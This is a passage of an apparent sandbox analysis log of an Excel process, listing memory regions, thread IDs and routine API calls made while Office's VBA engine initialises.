	        filename = "\\Users\\aETAdzjz\\AppData\\Local\\Temp\\~DF0650D90FC58B7E35.TMP" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\~df0650d90fc58b7e35.tmp")

Region:
	              id = 622
	        start_va = 0xf3c0000
	          end_va = 0x103bffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000000f3c0000"
	        filename = ""

Region:
	              id = 623
	        start_va = 0xed70000
	          end_va = 0xee76fff
	     entry_point = 0xed70000
	     region_type = mapped_file
	            name = "excel.exe"
	        filename = "\\Program Files\\Microsoft Office\\root\\Office16\\EXCEL.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\excel.exe")

Region:
	              id = 624
	        start_va = 0x6510000
	          end_va = 0x651bfff
	     entry_point = 0x6510000
	     region_type = mapped_file
	            name = "vbe7.dll"
	        filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\vba\\vba7.1\\vbe7.dll")

Region:
	              id = 625
	        start_va = 0x66e0000
	          end_va = 0x66e3fff
	     entry_point = 0x66e0000
	     region_type = mapped_file
	            name = "stdole2.tlb"
	        filename = "\\Windows\\System32\\stdole2.tlb" (normalized: "c:\\windows\\system32\\stdole2.tlb")

Region:
	              id = 626
	        start_va = 0xaba0000
	          end_va = 0xac25fff
	     entry_point = 0xaba0000
	     region_type = mapped_file
	            name = "mso.dll"
	        filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\MSO.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\mso.dll")

Region:
	              id = 627
	        start_va = 0x6820000
	          end_va = 0x6823fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000006820000"
	        filename = ""

Region:
	              id = 628
	        start_va = 0x6830000
	          end_va = 0x6833fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000006830000"
	        filename = ""

Region:
	              id = 629
	        start_va = 0x6850000
	          end_va = 0x6852fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000006850000"
	        filename = ""

Region:
	              id = 630
	        start_va = 0x69a0000
	          end_va = 0x69a1fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000069a0000"
	        filename = ""

Region:
	              id = 631
	        start_va = 0x6c50000
	          end_va = 0x6c51fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000006c50000"
	        filename = ""

Region:
	              id = 632
	        start_va = 0x7fb0000
	          end_va = 0x7fb0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000007fb0000"
	        filename = ""

Region:
	              id = 633
	        start_va = 0xac50000
	          end_va = 0xac50fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000000ac50000"
	        filename = ""

Region:
	              id = 634
	        start_va = 0x7fefd210000
	          end_va = 0x7fefd266fff
	     entry_point = 0x7fefd210000
	     region_type = mapped_file
	            name = "schannel.dll"
	        filename = "\\Windows\\System32\\schannel.dll" (normalized: "c:\\windows\\system32\\schannel.dll")

Region:
	              id = 635
	        start_va = 0x6c60000
	          end_va = 0x6c61fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000006c60000"
	        filename = ""

Region:
	              id = 636
	        start_va = 0x6c70000
	          end_va = 0x6c71fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000006c70000"
	        filename = ""

Region:
	              id = 637
	        start_va = 0x6c80000
	          end_va = 0x6ca1fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000006c80000"
	        filename = ""

Region:
	              id = 638
	        start_va = 0x10440000
	          end_va = 0x104bffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000010440000"
	        filename = ""

Region:
	              id = 639
	        start_va = 0x104c0000
	          end_va = 0x105bffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000104c0000"
	        filename = ""

Region:
	              id = 640
	        start_va = 0x105c0000
	          end_va = 0x10763fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000105c0000"
	        filename = ""

Region:
	              id = 641
	        start_va = 0x10800000
	          end_va = 0x1087ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000010800000"
	        filename = ""

Region:
	              id = 642
	        start_va = 0x7fefcf10000
	          end_va = 0x7fefcf2afff
	     entry_point = 0x7fefcf10000
	     region_type = mapped_file
	            name = "gpapi.dll"
	        filename = "\\Windows\\System32\\gpapi.dll" (normalized: "c:\\windows\\system32\\gpapi.dll")

Region:
	              id = 643
	        start_va = 0x7fffff8e000
	          end_va = 0x7fffff8ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff8e000"
	        filename = ""

Region:
	              id = 903
	        start_va = 0x69b0000
	          end_va = 0x69b0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000069b0000"
	        filename = ""

Region:
	              id = 904
	        start_va = 0x6c40000
	          end_va = 0x6c40fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000006c40000"
	        filename = ""

Region:
	              id = 905
	        start_va = 0x10880000
	          end_va = 0x109e0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000010880000"
	        filename = ""

Region:
	              id = 906
	        start_va = 0x7fee6ef0000
	          end_va = 0x7fee700efff
	     entry_point = 0x7fee6ef0000
	     region_type = mapped_file
	            name = "webservices.dll"
	        filename = "\\Windows\\System32\\webservices.dll" (normalized: "c:\\windows\\system32\\webservices.dll")

Region:
	              id = 907
	        start_va = 0x2be0000
	          end_va = 0x2be3fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002be0000"
	        filename = ""

Region:
	              id = 908
	        start_va = 0x109f0000
	          end_va = 0x10aeffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000109f0000"
	        filename = ""

Region:
	              id = 909
	        start_va = 0x10c10000
	          end_va = 0x10d0ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000010c10000"
	        filename = ""

Region:
	              id = 910
	        start_va = 0x7fffff50000
	          end_va = 0x7fffff51fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff50000"
	        filename = ""

Region:
	              id = 911
	        start_va = 0x69b0000
	          end_va = 0x69b3fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000069b0000"
	        filename = ""

Region:
	              id = 912
	        start_va = 0x69b0000
	          end_va = 0x69b3fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000069b0000"
	        filename = ""

Region:
	              id = 913
	        start_va = 0x6c80000
	          end_va = 0x6c83fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000006c80000"
	        filename = ""

Region:
	              id = 914
	        start_va = 0x10d10000
	          end_va = 0x11cdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000010d10000"
	        filename = ""

Region:
	              id = 1135
	        start_va = 0x6c90000
	          end_va = 0x6c91fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000006c90000"
	        filename = ""

Region:
	              id = 1136
	        start_va = 0xc5d0000
	          end_va = 0xc5d0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000000c5d0000"
	        filename = ""

Region:
	              id = 1137
	        start_va = 0xc8d0000
	          end_va = 0xc8d0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000000c8d0000"
	        filename = ""

Region:
	              id = 1138
	        start_va = 0xcda0000
	          end_va = 0xcda0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000000cda0000"
	        filename = ""

Region:
	              id = 1139
	        start_va = 0xceb0000
	          end_va = 0xceb0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000000ceb0000"
	        filename = ""

Region:
	              id = 1140
	        start_va = 0x7fee6970000
	          end_va = 0x7fee69cbfff
	     entry_point = 0x7fee6970000
	     region_type = mapped_file
	            name = "msohev.dll"
	        filename = "\\Program Files\\Microsoft Office\\root\\Office16\\MSOHEV.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msohev.dll")

Region:
	              id = 1156
	        start_va = 0xaa60000
	          end_va = 0xaa90fff
	     entry_point = 0xaa60000
	     region_type = mapped_file
	            name = "c_936.nls"
	        filename = "\\Windows\\System32\\C_936.NLS" (normalized: "c:\\windows\\system32\\c_936.nls")

Region:
	              id = 1157
	        start_va = 0x7fee67f0000
	          end_va = 0x7fee6963fff
	     entry_point = 0x7fee67f0000
	     region_type = mapped_file
	            name = "msptls.dll"
	        filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\MSPTLS.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\msptls.dll")

Region:
	              id = 1325
	        start_va = 0x7fd0000
	          end_va = 0x7fd1fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000007fd0000"
	        filename = ""

Region:
	              id = 1326
	        start_va = 0x11ce0000
	          end_va = 0x124dffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000011ce0000"
	        filename = ""

Region:
	              id = 1327
	        start_va = 0x124e0000
	          end_va = 0x13834fff
	     entry_point = 0x124e0000
	     region_type = mapped_file
	            name = "imageres.dll"
	        filename = "\\Windows\\System32\\imageres.dll" (normalized: "c:\\windows\\system32\\imageres.dll")

Region:
	              id = 1328
	        start_va = 0x7fee67c0000
	          end_va = 0x7fee67e2fff
	     entry_point = 0x7fee67c0000
	     region_type = mapped_file
	            name = "officevoicemanager.dll"
	        filename = "\\Program Files\\Microsoft Office\\root\\Office16\\officevoicemanager.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\officevoicemanager.dll")

Region:
	              id = 1701
	        start_va = 0x4bd0000
	          end_va = 0x4bd1fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000004bd0000"
	        filename = ""

Region:
	              id = 1702
	        start_va = 0x7fee4340000
	          end_va = 0x7fee4e90fff
	     entry_point = 0x7fee4340000
	     region_type = mapped_file
	            name = "igx.dll"
	        filename = "\\Program Files\\Microsoft Office\\root\\Office16\\IGX.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\igx.dll")

Region:
	              id = 3155
	        start_va = 0x2bf0000
	          end_va = 0x2bfffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002bf0000"
	        filename = ""

Region:
	              id = 3156
	        start_va = 0x2c00000
	          end_va = 0x2c03fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002c00000"
	        filename = ""

Region:
	              id = 3157
	        start_va = 0x2c10000
	          end_va = 0x2c37fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002c10000"
	        filename = ""

Region:
	              id = 3158
	        start_va = 0x2c40000
	          end_va = 0x2cbffff
	     entry_point = 0x2c40000
	     region_type = mapped_file
	            name = "20181106"
	        filename = "\\Users\\aETAdzjz\\Desktop\\20181106" (normalized: "c:\\users\\aetadzjz\\desktop\\20181106")

Region:
	              id = 3159
	        start_va = 0x4be0000
	          end_va = 0x4c5ffff
	     entry_point = 0x4be0000
	     region_type = mapped_file
	            name = "~dfc1532eb59f43be3b.tmp"
	        filename = "\\Users\\aETAdzjz\\AppData\\Local\\Temp\\~DFC1532EB59F43BE3B.TMP" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\~dfc1532eb59f43be3b.tmp")

Region:
	              id = 3160
	        start_va = 0x5150000
	          end_va = 0x524ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000005150000"
	        filename = ""

Region:
	              id = 3161
	        start_va = 0xb420000
	          end_va = 0xb51ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000000b420000"
	        filename = ""

Region:
	              id = 3162
	        start_va = 0xd090000
	          end_va = 0xd18ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000000d090000"
	        filename = ""

Region:
	              id = 3163
	        start_va = 0x7fffffa6000
	          end_va = 0x7fffffa7fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffa6000"
	        filename = ""


Thread:
	id = 1
	os_tid = 0xaa8


Thread:
	id = 2
	os_tid = 0xaa4


Thread:
	id = 3
	os_tid = 0xaa0


Thread:
	id = 4
	os_tid = 0xa9c


Thread:
	id = 5
	os_tid = 0xa94


Thread:
	id = 6
	os_tid = 0xa90


Thread:
	id = 7
	os_tid = 0xa8c


Thread:
	id = 8
	os_tid = 0xa88


Thread:
	id = 9
	os_tid = 0xa84


Thread:
	id = 10
	os_tid = 0xa7c


Thread:
	id = 11
	os_tid = 0xa78


Thread:
	id = 12
	os_tid = 0xa70


Thread:
	id = 13
	os_tid = 0xa68


Thread:
	id = 14
	os_tid = 0xa64


Thread:
	id = 15
	os_tid = 0xa60


Thread:
	id = 16
	os_tid = 0x988


Thread:
	id = 17
	os_tid = 0x954


Thread:
	id = 18
	os_tid = 0x950


Thread:
	id = 19
	os_tid = 0x94c


Thread:
	id = 20
	os_tid = 0x948


Thread:
	id = 21
	os_tid = 0x944


Thread:
	id = 22
	os_tid = 0x940


Thread:
	id = 23
	os_tid = 0x93c


Thread:
	id = 24
	os_tid = 0x938


Thread:
	id = 25
	os_tid = 0x934


Thread:
	id = 26
	os_tid = 0x930


Thread:
	id = 27
	os_tid = 0x92c


Thread:
	id = 28
	os_tid = 0x928


Thread:
	id = 29
	os_tid = 0x924


Thread:
	id = 30
	os_tid = 0x904


Thread:
	id = 31
	os_tid = 0x900


Thread:
	id = 32
	os_tid = 0x8fc


Thread:
	id = 33
	os_tid = 0x8f8


Thread:
	id = 34
	os_tid = 0x8f4


Thread:
	id = 35
	os_tid = 0x8f0


Thread:
	id = 36
	os_tid = 0x8ec


Thread:
	id = 37
	os_tid = 0x8e8

	[0048.791] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26ee70 | out: lpSystemTimeAsFileTime=0x26ee70*(dwLowDateTime=0xe0626a10, dwHighDateTime=0x1d475a6)) 
	[0048.791] GetCurrentProcessId () returned 0x8e4
	[0048.791] GetCurrentThreadId () returned 0x8e8
	[0048.791] GetTickCount () returned 0x1cb88
	[0048.791] QueryPerformanceCounter (in: lpPerformanceCount=0x26ee78 | out: lpPerformanceCount=0x26ee78*=1812796500000) returned 1
	[0048.794] __dllonexit () returned 0xd6e9bd600000ffd9
	[0048.795] __dllonexit () returned 0xd6ec31e00000ffd9
	[0048.797] __dllonexit () returned 0xd6ec54600000ffd9
	[0048.798] __dllonexit () returned 0xd6efafe00000ffd9
	[0048.798] __dllonexit () returned 0xd6ec5f600000ffd9
	[0048.799] __dllonexit () returned 0xd6ec43600000ffd9
	[0048.799] __dllonexit () returned 0xd6ec47600000ffd9
	[0048.799] __dllonexit () returned 0xd6ec4b600000ffd9
	[0048.800] __dllonexit () returned 0xd6ec4f600000ffd9
	[0048.800] __dllonexit () returned 0xd6ec73600000ffd9
	[0048.801] __dllonexit () returned 0xd6ec77600000ffd9
	[0048.801] __dllonexit () returned 0xd6ec7b600000ffd9
	[0048.802] __dllonexit () returned 0xd6ec7f600000ffd9
	[0048.802] __dllonexit () returned 0xd6ec63600000ffd9
	[0048.802] __dllonexit () returned 0xd6ec67600000ffd9
	[0048.803] __dllonexit () returned 0xd6ec6b600000ffd9
	[0048.803] __dllonexit () returned 0xd6ec6f600000ffd9
	[0048.804] __dllonexit () returned 0xd6ede9600000ffd9
	[0048.807] __dllonexit () returned 0xd6e9a7600000ffd9
	[0048.808] __dllonexit () returned 0xd6e9a9600000ffd9
	[0048.808] __dllonexit () returned 0xd6e9ad600000ffd9
	[0048.808] __dllonexit () returned 0xd6ee57600000ffd9
	[0048.809] __dllonexit () returned 0xd6ee59600000ffd9
	[0048.809] __dllonexit () returned 0xd6ee5ee00000ffd9
	[0048.810] DisableThreadLibraryCalls (hLibModule=0x7fee5d60000) returned 1
	[0048.810] GetVersion () returned 0x1db10106
	[0048.810] lstrcmpiW (lpString1="A", lpString2="B") returned -1
	[0048.810] GetUserDefaultLCID () returned 0x409
	[0048.810] CompareStringW (Locale=0x409, dwCmpFlags=0x30001, lpString1="A", cchCount1=-1, lpString2="B", cchCount2=-1) returned 1
	[0048.810] GetSystemMetrics (nIndex=5) returned 1
	[0048.810] GetSystemMetrics (nIndex=6) returned 1
	[0048.810] GetSystemMetrics (nIndex=11) returned 32
	[0048.810] GetSystemMetrics (nIndex=12) returned 32
	[0048.810] GetSystemMetrics (nIndex=34) returned 132
	[0048.810] GetSystemMetrics (nIndex=35) returned 38
	[0048.810] GetSystemMetrics (nIndex=0) returned 1440
	[0048.810] GetSystemMetrics (nIndex=1) returned 900
	[0048.810] GetSystemMetrics (nIndex=32) returned 4
	[0048.811] GetSystemMetrics (nIndex=33) returned 4
	[0048.811] GetSystemMetrics (nIndex=4) returned 22
	[0048.811] GetSystemMetrics (nIndex=42) returned 0
	[0048.811] GetStockObject (i=15) returned 0x188000b
	[0048.811] GetStockObject (i=7) returned 0x1b00017
	[0048.811] GetStockObject (i=6) returned 0x1b00018
	[0048.811] GetStockObject (i=8) returned 0x1b00016
	[0048.811] GetStockObject (i=4) returned 0x1900011
	[0048.811] GetStockObject (i=2) returned 0x1900012
	[0048.811] GetStockObject (i=0) returned 0x1900010
	[0048.811] GetStockObject (i=5) returned 0x1900015
	[0048.811] GetStockObject (i=13) returned 0x18a002e
	[0048.811] GetDC (hWnd=0x0) returned 0x1e010a18
	[0048.811] GetDeviceCaps (hdc=0x1e010a18, index=14) returned 1
	[0048.811] GetDeviceCaps (hdc=0x1e010a18, index=12) returned 32
	[0048.811] GetDeviceCaps (hdc=0x1e010a18, index=88) returned 96
	[0048.811] GetDeviceCaps (hdc=0x1e010a18, index=90) returned 96
	[0048.811] GetDeviceCaps (hdc=0x1e010a18, index=38) returned 32409
	[0048.811] ReleaseDC (hWnd=0x0, hDC=0x1e010a18) returned 1
	[0048.811] CoGetMalloc (in: dwMemContext=0x1, ppMalloc=0x7fee613ba60 | out: ppMalloc=0x7fee613ba60*=0x7feffc15380) returned 0x0
	[0048.955] GetModuleHandleA (lpModuleName=0x0) returned 0x13f510000
	[0048.955] QueryActCtxW (in: dwFlags=0x80000010, hActCtx=0x7fee613a048, pvSubInstance=0x0, ulInfoClass=0x1, pvBuffer=0x2703a0, cbBuffer=0x10, pcbWrittenOrRequired=0x0 | out: pvBuffer=0x2703a0, pcbWrittenOrRequired=0x0) returned 1
	[0048.955] ActivateActCtx (in: hActCtx=0xb8eaad8, lpCookie=0x270390 | out: hActCtx=0xb8eaad8, lpCookie=0x270390) returned 1
	[0048.955] FindActCtxSectionStringW (in: dwFlags=0x0, lpExtensionGuid=0x0, ulSectionId=0x2, lpStringToFind="Comctl32.dll", ReturnedData=0x2703b0 | out: ReturnedData=0x2703b0) returned 1
	[0048.955] LoadLibraryW (lpLibFileName="Comctl32.dll") returned 0x7fefc690000
	[0048.960] DeactivateActCtx (dwFlags=0x0, ulCookie=0x10018cf300000b6e) returned 1
	[0048.960] RegisterClassA (lpWndClass=0x2706e0) returned 0x252b00e3c052
	[0048.962] DeactivateActCtx (dwFlags=0x0, ulCookie=0x10018cf300000b6f) returned 1
	[0048.963] wcscpy_s (in: _Destination=0x7311dd0, _SizeInWords=0x7, _Source="Common" | out: _Destination="Common") returned 0x0
	[0048.963] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Microsoft Excel Files (*.xlsm;*.xlam;*.xls;*.xla)", cchWideChar=77, lpMultiByteStr=0x5342540, cbMultiByte=154, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft Excel Files (*.xlsm;*.xlam;*.xls;*.xla)", lpUsedDefaultChar=0x0) returned 77
	[0048.966] GetModuleHandleExA (in: dwFlags=0x0, lpModuleName="MSI.DLL", phModule=0x7fee6141418 | out: phModule=0x7fee6141418*=0x7fefa750000) returned 1
	[0048.966] GetProcAddress (hModule=0x7fefa750000, lpProcName="MsiProvideQualifiedComponentA") returned 0x7fefa7d3b3c
	[0048.967] GetProcAddress (hModule=0x7fefa750000, lpProcName="MsiGetProductCodeA") returned 0x7fefa7ca13c
	[0048.968] GetProcAddress (hModule=0x7fefa750000, lpProcName="MsiReinstallFeatureA") returned 0x7fefa7d1618
	[0048.968] GetProcAddress (hModule=0x7fefa750000, lpProcName="MsiProvideComponentA") returned 0x7fefa7cf088
	[0048.979] SysStringLen (param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBEUI.DLL") returned 0x43
	[0048.979] SysStringLen (param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBEUI.DLL") returned 0x43
	[0048.979] lstrcpyW (in: lpString1=0x270460, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBEUI.DLL" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBEUI.DLL") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBEUI.DLL"
	[0048.979] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBEUI.DLL", cchWideChar=-1, lpMultiByteStr=0x270350, cbMultiByte=135, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBEUI.DLL", lpUsedDefaultChar=0x0) returned 68
	[0048.980] GetModuleHandleA (lpModuleName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBEUI.DLL") returned 0x0
	[0049.758] LoadLibraryExA (lpLibFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBEUI.DLL", hFile=0x0, dwFlags=0x8) returned 0x7fee5ac0000
	[0049.812] DeactivateActCtx (dwFlags=0x0, ulCookie=0x10018cf300000b70) returned 1
	[0049.812] GetLastError () returned 0x0
	[0049.812] GetProcAddress (hModule=0x7fee5ac0000, lpProcName="MsoVBADigSigCallDlg") returned 0x7fee5bc72c0
	[0049.813] GetProcAddress (hModule=0x7fee5ac0000, lpProcName="MsoVbaInitSecurity") returned 0x7fee5b360b0
	[0049.813] GetProcAddress (hModule=0x7fee5ac0000, lpProcName="MsoFIEPolicyAndVersion") returned 0x7fee5ae1a60
	[0049.813] GetProcAddress (hModule=0x7fee5ac0000, lpProcName="MsoFAnsiCodePageSupportsLCID") returned 0x7fee5b35f50
	[0049.814] GetProcAddress (hModule=0x7fee5ac0000, lpProcName="MsoFInitOffice") returned 0x7fee5adf000
	[0049.814] GetProcAddress (hModule=0x7fee5ac0000, lpProcName="MsoUninitOffice") returned 0x7fee5ace860
	[0049.815] GetProcAddress (hModule=0x7fee5ac0000, lpProcName="MsoFGetFontSettings") returned 0x7fee5ac3fc0
	[0049.815] GetProcAddress (hModule=0x7fee5ac0000, lpProcName="MsoRgchToRgwch") returned 0x7fee5ad2380
	[0049.816] GetProcAddress (hModule=0x7fee5ac0000, lpProcName="MsoHrSimpleQueryInterface") returned 0x7fee5ac7b80
	[0049.816] GetProcAddress (hModule=0x7fee5ac0000, lpProcName="MsoHrSimpleQueryInterface2") returned 0x7fee5ac7b20
	[0049.817] GetProcAddress (hModule=0x7fee5ac0000, lpProcName="MsoFCreateControl") returned 0x7fee5ac8730
	[0049.817] GetProcAddress (hModule=0x7fee5ac0000, lpProcName="MsoFLongLoad") returned 0x7fee5c03260
	[0049.818] GetProcAddress (hModule=0x7fee5ac0000, lpProcName="MsoFLongSave") returned 0x7fee5c03280
	[0049.818] GetProcAddress (hModule=0x7fee5ac0000, lpProcName="MsoFGetTooltips") returned 0x7fee5ad1f40
	[0049.819] GetProcAddress (hModule=0x7fee5ac0000, lpProcName="MsoFSetTooltips") returned 0x7fee5b36370
	[0049.819] GetProcAddress (hModule=0x7fee5ac0000, lpProcName="MsoFLoadToolbarSet") returned 0x7fee5b24590
	[0049.820] GetProcAddress (hModule=0x7fee5ac0000, lpProcName="MsoFCreateToolbarSet") returned 0x7fee5ac55b0
	[0049.820] GetProcAddress (hModule=0x7fee5ac0000, lpProcName="MsoHpalOffice") returned 0x7fee5ad0240
	[0049.821] GetProcAddress (hModule=0x7fee5ac0000, lpProcName="MsoFWndProcNeeded") returned 0x7fee5ac3d10
	[0049.821] GetProcAddress (hModule=0x7fee5ac0000, lpProcName="MsoFWndProc") returned 0x7fee5ac6d30
	[0049.822] GetProcAddress (hModule=0x7fee5ac0000, lpProcName="MsoFCreateITFCHwnd") returned 0x7fee5ac3d40
	[0049.822] GetProcAddress (hModule=0x7fee5ac0000, lpProcName="MsoDestroyITFC") returned 0x7fee5ace6f0
	[0049.823] GetProcAddress (hModule=0x7fee5ac0000, lpProcName="MsoFPitbsFromHwndAndMsg") returned 0x7fee5acdf40
	[0049.823] GetProcAddress (hModule=0x7fee5ac0000, lpProcName="MsoFGetComponentManager") returned 0x7fee5ac7bf0
	[0049.824] GetProcAddress (hModule=0x7fee5ac0000, lpProcName="MsoMultiByteToWideChar") returned 0x7fee5acfcd0
	[0049.824] GetProcAddress (hModule=0x7fee5ac0000, lpProcName="MsoWideCharToMultiByte") returned 0x7fee5ac8b20
	[0049.825] GetProcAddress (hModule=0x7fee5ac0000, lpProcName="MsoHrRegisterAll") returned 0x7fee5bc2ef0
	[0049.825] GetProcAddress (hModule=0x7fee5ac0000, lpProcName="MsoFSetComponentManager") returned 0x7fee5ad42c0
	[0049.826] GetProcAddress (hModule=0x7fee5ac0000, lpProcName="MsoFCreateStdComponentManager") returned 0x7fee5ac3e20
	[0049.826] GetProcAddress (hModule=0x7fee5ac0000, lpProcName="MsoFHandledMessageNeeded") returned 0x7fee5acab10
	[0049.827] GetProcAddress (hModule=0x7fee5ac0000, lpProcName="MsoPeekMessage") returned 0x7fee5aca7d0
	[0049.827] GetProcAddress (hModule=0x7fee5ac0000, lpProcName="MsoFCreateIPref") returned 0x7fee5ac1550
	[0049.828] GetProcAddress (hModule=0x7fee5ac0000, lpProcName="MsoDestroyIPref") returned 0x7fee5ace830
	[0049.828] GetProcAddress (hModule=0x7fee5ac0000, lpProcName="MsoChsFromLid") returned 0x7fee5ac13d0
	[0049.829] GetProcAddress (hModule=0x7fee5ac0000, lpProcName="MsoCpgFromChs") returned 0x7fee5ac6660
	[0049.829] GetProcAddress (hModule=0x7fee5ac0000, lpProcName="MsoSetLocale") returned 0x7fee5ac1500
	[0049.830] GetProcAddress (hModule=0x7fee5ac0000, lpProcName="MsoFSetHMsoinstOfSdm") returned 0x7fee5ac3dd0
	[0049.830] GetProcAddress (hModule=0x7fee5ac0000, lpProcName="MsoSetVbaInterfaces") returned 0x7fee5bc71e0
	[0049.831] GetProcAddress (hModule=0x7fee5ac0000, lpProcName="MsoGetControlInstanceId") returned 0x7fee5b96d10
	[0049.831] GetProcAddress (hModule=0x7fee5ac0000, lpProcName="VbeuiFIsEdpEnabled") returned 0x7fee5c098e0
	[0049.832] GetProcAddress (hModule=0x7fee5ac0000, lpProcName="VbeuiEnterpriseProtect") returned 0x7fee5c09830
	[0049.834] GetEnvironmentVariableA (in: lpName="DDRYBUR", lpBuffer=0x270440, nSize=0x118 | out: lpBuffer="\xaf\x01") returned 0x0
	[0049.834] SetErrorMode (uMode=0x8001) returned 0x8001
	[0049.834] GetModuleFileNameA (in: hModule=0x7fee5d60000, lpFilename=0x270150, nSize=0x104 | out: lpFilename="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7.1\\vbe7.dll")) returned 0x42
	[0049.834] lstrcpyA (in: lpString1=0x270040, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\"
	[0049.834] lstrcpyA (in: lpString1=0x270040, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\"
	[0049.834] lstrcpyA (in: lpString1=0x270040, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\"
	[0049.834] lstrcpyA (in: lpString1=0x270040, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\"
	[0049.834] lstrcpyA (in: lpString1=0x270040, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\"
